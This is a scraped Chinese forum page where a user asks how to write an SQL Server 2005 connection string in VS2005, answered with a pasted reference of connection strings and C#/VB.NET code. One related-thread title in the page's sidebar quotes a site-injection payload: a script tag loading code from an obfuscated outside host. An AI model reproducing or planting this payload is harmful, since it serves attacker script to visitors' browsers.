刚刚装了sql2005的开发版,没看见哪有选混合模式的选项.于是选了本地帐户
vs2005里面应该怎么写连接字串啊??
vs2005里面应该怎么写连接字串啊??
解决方案 »
- asp.net网站生成静态页
- 被注入了</title>"><script src=http://%61%2E%70%70%6D%6D%6F%6F%2E%63%6E></script><!--
- ajaxpro上传服务器以后报错再来帖,在线等!
- 没分了 帮帮忙啊 正则表达式高手请进 急啊!!!!!!!
- 模板里写代码
- 有点挑战性的问题,大家一起讨论一下
- isnothing的问题。
- 关于VSS源代码的管理和版本控制问题,请各位高手给些资料??? 给分50分
- 怎样卸掉vs.net.2003版中自带的水晶报表?我要装10,在线急等!
- ********用ie打印,表格中的背景为什么在预览时没有了???******
- 一个简单的存储过程问题,请大虫们帮忙一下啊
- 远程 解决问题后 即可得到2Q币 说话算数
Standard security:"Driver={SQL Native Client};Server=Aron1;Database=pubs;UID=sa;PWD=asdasd;" Trusted connection:"Driver={SQL Native Client};Server=Aron1;Database=pubs;Trusted_Connection=yes;" Prompt for username and password:oConn.Properties("Prompt") = adPromptAlways
oConn.Open "Driver={SQL Native Client};Server=Aron1;DataBase=pubs;" Enabeling MARS (multiple active result sets):"Driver={SQL Native Client};Server=Aron1;Database=pubs;Trusted_Connection=yes;MARS_Connection=yes" Encrypt data sent over network:"Driver={SQL Native Client};Server=Aron1;Database=pubs;Trusted_Connection=yes;Encrypt=yes" Download the SQL Native Client here >> (the package contains booth the ODBC driver and the OLE DB provider)
SQL Native Client OLE DB Provider
Standard security:"Provider=SQLNCLI;Server=Aron1;Database=pubs;UID=sa;PWD=asdasd;" Trusted connection:"Provider=SQLNCLI;Server=Aron1;Database=pubs;Trusted_Connection=yes;" Prompt for username and password:oConn.Properties("Prompt") = adPromptAlways
oConn.Open "Provider=SQLNCLI;Server=Aron1;DataBase=pubs;" Enabeling MARS (multiple active result sets):"Provider=SQLNCLI;Server=Aron1;Database=pubs;Trusted_Connection=yes;MarsConn=yes" Encrypt data sent over network:"Provider=SQLNCLI;Server=Aron1;Database=pubs;Trusted_Connection=yes;Encrypt=yes" Download the SQL Native Client here >> (the package contains booth the OLE DB provider and the ODBC driver)
SqlConnection (.NET)
Standard Security:"Data Source=Aron1;Initial Catalog=pubs;User Id=sa;Password=asdasd;"
- or -
"Server=Aron1;Database=pubs;User ID=sa;Password=asdasd;Trusted_Connection=False"
(both connection strings produces the same result)
Trusted Connection:"Data Source=Aron1;Initial Catalog=pubs;Integrated Security=SSPI;"
- or -
"Server=Aron1;Database=pubs;Trusted_Connection=True;"
(both connection strings produces the same result)(use serverName\instanceName as Data Source to use an specifik SQLServer instance)
Connect via an IP address:"Data Source=190.190.200.100,1433;Network Library=DBMSSOCN;Initial Catalog=pubs;User ID=sa;Password=asdasd;"
(DBMSSOCN=TCP/IP instead of Named Pipes, at the end of the Data Source is the port to use (1433 is the default))
Declare the SqlConnection:C#:
using System.Data.SqlClient;
SqlConnection oSQLConn = new SqlConnection();
oSQLConn.ConnectionString="my connection string";
oSQLConn.Open(); VB.NET:
Imports System.Data.SqlClient
Dim oSQLConn As SqlConnection = New SqlConnection()
oSQLConn.ConnectionString="my connection string"
oSQLConn.Open()